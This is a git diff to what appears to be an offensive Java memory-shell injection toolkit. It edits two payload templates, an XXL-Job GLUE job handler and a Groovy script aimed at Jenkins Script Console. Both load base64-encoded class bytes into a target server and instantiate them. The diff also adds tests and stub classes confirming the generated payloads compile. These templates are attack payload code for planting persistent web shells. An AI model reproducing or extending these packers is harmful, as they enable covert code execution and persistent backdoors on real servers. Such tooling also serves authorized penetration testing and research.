diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml
index 0df9085c..0fd9e31d 100644
--- a/gradle/libs.versions.toml
+++ b/gradle/libs.versions.toml
@@ -14,6 +14,7 @@ jetbrains-annotations = "26.0.2"
 alibaba-dubbo = "2.6.12"
 apache-dubbo = "2.7.6"
 tomcat = "8.5.85"
+groovy = "2.4.21" # 与 Jenkins Script Console 的 Groovy 解析器版本对齐（仅测试用）
 
 byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
 commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
@@ -52,6 +53,7 @@ commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "co
 commons-codec = { module = "commons-codec:commons-codec", version.ref = "commons-codec" }
 logback-classic = { module = "ch.qos.logback:logback-classic", version.ref = "logback" }
 bcel = { module = "org.apache.bcel:bcel", version.ref = "bcel" }
+groovy = { module = "org.codehaus.groovy:groovy", version.ref = "groovy" }
 java-websocket = { module = "org.java-websocket:Java-WebSocket", version.ref = "java-websocket" }
 okhttp3 = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp3" }
 fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "fastjson2" }
diff --git a/packer/build.gradle.kts b/packer/build.gradle.kts
index f3b8784d..f7671b15 100644
--- a/packer/build.gradle.kts
+++ b/packer/build.gradle.kts
@@ -18,6 +18,7 @@ dependencies {
     implementation("commons-collections:commons-collections:3.2.1")
     implementation("org.apache.commons:commons-collections4:4.0")
     testImplementation(libs.junit.jupiter)
+    testImplementation(libs.groovy)
     testRuntimeOnly(libs.junit.platform.launcher)
 }
 
diff --git a/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java b/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java
index 7fccf517..41e8e42d 100644
--- a/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java
+++ b/packer/src/main/resources/memshell-party/XXL-Job-DefineClass.java
@@ -21,8 +21,8 @@ public class DemoGlueJobHandler extends IJobHandler {
     }
 
     public ReturnT<String> execute(String param) throws Exception {
-        String base64Str = "{{base64Str}}";
-        String className = "{{className}}";
+        String base64Str = '{{base64Str}}';
+        String className = '{{className}}';
         try {
             Class.forName(className);
         } catch (ClassNotFoundException e) {
diff --git a/packer/src/main/resources/memshell-party/shell.groovy b/packer/src/main/resources/memshell-party/shell.groovy
index b878217d..38d5388d 100644
--- a/packer/src/main/resources/memshell-party/shell.groovy
+++ b/packer/src/main/resources/memshell-party/shell.groovy
@@ -14,8 +14,8 @@ class ClassDefiner extends ClassLoader {
 
     @Override
     public String toString() {
-        String className = "{{className}}";
-        String base64Str = "{{base64Str}}";
+        String className = '{{className}}';
+        String base64Str = '{{base64Str}}';
         ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
         try {
             classLoader.loadClass(className).newInstance();
diff --git a/packer/src/test/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPackerTest.java
new file mode 100644
index 00000000..3770ac6e
--- /dev/null
+++ b/packer/src/test/java/com/reajason/javaweb/packer/groovy/GroovyClassDefinerPackerTest.java
@@ -0,0 +1,42 @@
+package com.reajason.javaweb.packer.groovy;
+
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import groovy.lang.GroovyClassLoader;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2026/9/24
+ */
+class GroovyClassDefinerPackerTest {
+
+    @Test
+    void pack() {
+        ClassPackerConfig config = new ClassPackerConfig();
+        config.setClassName("com.reajason.javaweb.ErrorAbcdHandler");
+        config.setClassBytesBase64Str("aGVsbG8=");
+        String script = new GroovyClassDefinerPacker().pack(config);
+        assertTrue(script.contains("'com.reajason.javaweb.ErrorAbcdHandler'"));
+        compile(script);
+    }
+
+    @Test
+    void packClassNameWithLambdaSuffix() {
+        ClassPackerConfig config = new ClassPackerConfig();
+        config.setClassName("le.gso.SzyHj.SOAPUtils$Proxy0$$Lambda$1");
+        config.setClassBytesBase64Str("aGVsbG8=");
+        String script = new GroovyClassDefinerPacker().pack(config);
+        assertTrue(script.contains("'le.gso.SzyHj.SOAPUtils$Proxy0$$Lambda$1'"));
+        compile(script);
+    }
+
+    private void compile(String script) {
+        try (GroovyClassLoader classLoader = new GroovyClassLoader()) {
+            classLoader.parseClass(script);
+        } catch (Exception e) {
+            throw new AssertionError("groovy script should compile, script: " + script, e);
+        }
+    }
+}
diff --git a/packer/src/test/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPackerTest.java
new file mode 100644
index 00000000..ac1c2930
--- /dev/null
+++ b/packer/src/test/java/com/reajason/javaweb/packer/xxljob/XxlJobJsonPackerTest.java
@@ -0,0 +1,53 @@
+package com.reajason.javaweb.packer.xxljob;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import groovy.lang.GroovyClassLoader;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2026/9/24
+ */
+class XxlJobJsonPackerTest {
+    private final ObjectMapper objectMapper = new ObjectMapper();
+
+    @Test
+    void pack() throws Exception {
+        ClassPackerConfig config = new ClassPackerConfig();
+        config.setClassName("com.reajason.javaweb.ErrorAbcdHandler");
+        config.setClassBytesBase64Str("aGVsbG8=");
+        String glueSource = extractGlueSource(config);
+        assertTrue(glueSource.contains("'com.reajason.javaweb.ErrorAbcdHandler'"));
+        compile(glueSource);
+    }
+
+    @Test
+    void packClassNameWithLambdaSuffix() throws Exception {
+        ClassPackerConfig config = new ClassPackerConfig();
+        config.setClassName("le.gso.SzyHj.SOAPUtils$Proxy0$$Lambda$1");
+        config.setClassBytesBase64Str("aGVsbG8=");
+        String glueSource = extractGlueSource(config);
+        assertTrue(glueSource.contains("'le.gso.SzyHj.SOAPUtils$Proxy0$$Lambda$1'"));
+        compile(glueSource);
+    }
+
+    private String extractGlueSource(ClassPackerConfig config) throws Exception {
+        String payload = new XxlJobJsonPacker().pack(config);
+        JsonNode jsonNode = objectMapper.readTree(payload);
+        assertEquals("GLUE_GROOVY", jsonNode.get("glueType").asText());
+        return jsonNode.get("glueSource").asText();
+    }
+
+    private void compile(String glueSource) {
+        try (GroovyClassLoader classLoader = new GroovyClassLoader()) {
+            classLoader.parseClass(glueSource);
+        } catch (Exception e) {
+            throw new AssertionError("glue source should compile, source: " + glueSource, e);
+        }
+    }
+}
diff --git a/packer/src/test/java/com/xxl/job/core/biz/model/ReturnT.java b/packer/src/test/java/com/xxl/job/core/biz/model/ReturnT.java
new file mode 100644
index 00000000..dfa16afb
--- /dev/null
+++ b/packer/src/test/java/com/xxl/job/core/biz/model/ReturnT.java
@@ -0,0 +1,10 @@
+package com.xxl.job.core.biz.model;
+
+import java.io.Serializable;
+
+/**
+ * 精简版 ReturnT，仅用于在测试中编译 GLUE 源码
+ */
+public class ReturnT<T> implements Serializable {
+    public static final ReturnT<String> SUCCESS = new ReturnT<>();
+}
diff --git a/packer/src/test/java/com/xxl/job/core/handler/IJobHandler.java b/packer/src/test/java/com/xxl/job/core/handler/IJobHandler.java
new file mode 100644
index 00000000..ba470afd
--- /dev/null
+++ b/packer/src/test/java/com/xxl/job/core/handler/IJobHandler.java
@@ -0,0 +1,10 @@
+package com.xxl.job.core.handler;
+
+import com.xxl.job.core.biz.model.ReturnT;
+
+/**
+ * 精简版 IJobHandler，仅用于在测试中编译 GLUE 源码
+ */
+public abstract class IJobHandler {
+    public abstract ReturnT<String> execute(String param) throws Exception;
+}